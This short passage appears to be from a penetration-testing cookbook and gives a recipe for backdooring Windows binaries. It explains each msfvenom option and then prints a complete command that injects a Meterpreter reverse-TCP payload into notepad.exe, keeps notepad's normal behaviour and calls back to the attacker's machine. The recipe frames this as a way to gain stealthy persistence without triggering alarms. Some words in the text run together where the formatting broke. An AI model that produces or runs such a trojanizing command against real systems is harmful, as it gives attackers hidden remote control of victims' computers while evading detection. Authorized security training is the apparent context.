Backdooring Windows binaries
By backdooring system binaries, we can ensure that we will have persistence in the target machine, and we won't trigger alarms by adding new registry entries or new binaries to the system.
How to do it...
- We will use
msfvenomto backdoor thenotepad.exebinary:- Use
-afor the architecture, in this case,x86 --platformfor the platform of the payload Windows-p, for the payload to usewindows/meterpreter/reverse_tcp,LHOSTfollowed by the IP address of our Kali machine-xto specify a custom executable file to use as a template; in this recipe, we will usenotepad.exe-kto preserve the template behavior and inject the payload as a new thread-ffor the output format-bto specify characters to avoid; in this case, null bytes"\x00"and-ofor the output name of the payload:
- Use
root@kali:~# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -x notepad.exe -k -f exe -b "\x00" -o notepad-backdoored.exe Found 10 compatible encoders Attempting...
